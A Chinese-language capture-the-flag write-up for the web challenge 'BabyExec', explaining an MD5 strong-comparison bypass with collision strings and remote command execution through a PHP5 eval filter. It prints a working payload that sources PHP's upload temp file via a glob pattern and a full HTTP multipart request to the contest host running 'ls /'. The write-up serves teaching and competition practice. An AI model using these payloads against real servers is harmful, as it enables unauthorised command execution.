本次公开赛提交wp最多的题目,我不允许你说你不会
题目考点:
-
MD5 强比较绕过
-
PHP5 无参数webshell利用
-
使用 .执行任意脚本与Glob通配符匹配文件名进行任意命令执行
解题思路
1. 首先进入题目给出的源码,如下:
2. 审计代码可知,绕过第一个if判断中的哈希比较即可进入到下面的eval函数中:
if ((string)$_GET['x'] !== (string)$_GET['y'] && md5($_GET['x']) === md5($_GET['y']))
3.这里绕过MD5函数的比较,又因为强行进行了string转换,所以这里比较的就是字符串了,所以我们这里不能进行数组绕过md5。所以这里需要构造出满足这样条件的md5,可直接用HashClash上的fastcoll工具即可生成碰撞MD5,即:
x=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
y=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
成功绕过第一关,出现Attack me!
4. 绕过哈希比较后可以进入到eval代码执行部分:
if(!isset($_GET['shell'])){
echo "Attack me!";
} else {
$shell = $_GET['shell'];
if(!preg_match("/[a-zA-Z0-9_$@]+/",$shell)){
eval($shell);
} else {
die('No,No,No! Keep it up......');
}
}
过滤了所有的字母、所有的数字,还有下划线 _
、$
、@
等字符。最要命的是过滤了 $
,导致不能构造函数,常规的无字母数字webshell都不能用了。如果当前是php 7的环境的话还是很好绕过的,因为可以使用 ('phpinfo')();
的形式来动态执行函数。但是当前php环境为PHP 5,其不支持这样的执行函数的方式,所以就比较复杂了。
5.此时我们要知道以下两个 Linux Shell 的知识点:
-
Linux Shell 下可以利用
.
来执行任意脚本 -
Linux文件名支持用 Glob 通配符进行代替
6. 在 Linux Shell 中 .
的作用和 source
一样,就是在当前 Bash 环境下读取并执行一个文件中的命令。比如,当前运行的 Shell 是 Bash,则 . file
的意思就是用当前 Bash 执行 file 文件中的命令。并且用 . file
执行文件,是不需要 file 文件有x权限的。
7. 那么,如果目标服务器上有一个我们可控的文件,那我们不就可以利用 .
来执行它了吗?这个文件也很好得到,我们可以发送一个上传文件的 POST 包,此时 PHP 会将我们上传的临时文件保存在临时文件夹下,默认的文件名是 /tmp/phpXXXXXX
,文件名最后 6 个字符是随机的大小写字母。(其实这个知识点在 CTF 中也频繁出镜,比如文件包含中的利用等)
8. 第二个难题接踵而至,临时文件 . /tmp/phpXXXXXX
的命名是随机的,那我们该如何去找到他名执行呢?此时就可以用到 Linux 下的 Glob 通配符:
-
* :可以匹配 0 个及以上任意字符
-
? :可以匹配 1 个任意字符
9. 那么,/tmp/phpXXXXXX
就可以表示为 /*/?????????
或 /???/?????????
了。但是在真正操作起来的时候我们会发现这样通常并不能成功的执行文件,而是会报错,原因就是这样匹配到的文件太多了,系统不知道要执行哪个文件。如果没有限制字母的话我们完全可以使用 /???/php??????
来提高匹配几率,但是题目限制的就是字母数字,所以我们的想别的办法。
根据 PHITHON 师傅的文章,最后我们可以采用的 Payload 是:
. /???/????????[@-[]
10. 最后的 [@-[]
表示ASCII在 @
和 [
之间的字符,也就是大写字母,所以最后会执行的文件是 /tmp 文件夹下结尾是大写字母的文件。这是因为匹配到的所有的干扰文件的文件名都是小写,唯独 PHP 生成的临时文件最后一位是随机的大小写字母。
11. 有了这些知识后,这道题便不攻自破了。由于题目还过滤了 @
,所以我们还需要在ascii再往前找一个字符,即 ?
,即:
/?shell=?><?=`.+/???/????????[?-[]`;?>
# /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%3f-[]`%3b?>
12. 最后给出 Payload:
POST /?x=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&y=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%3f-[]`%3b?> HTTP/1.1
Host: 121.40.89.206:8100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 109
----------123
Content-Disposition:form-data;name="file";filename="1.txt"
#!/bin/sh
ls /
----------123--
如上图所示,成功执行命令。我们可能需要多试几次才能正确的执行我们的代码,50% 的几率。
读取flag:
成功。
END
点个在看你最好看
本文始发于微信公众号(胖哈勃):【迎中秋】公开赛writeup|Web-BabyExec
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论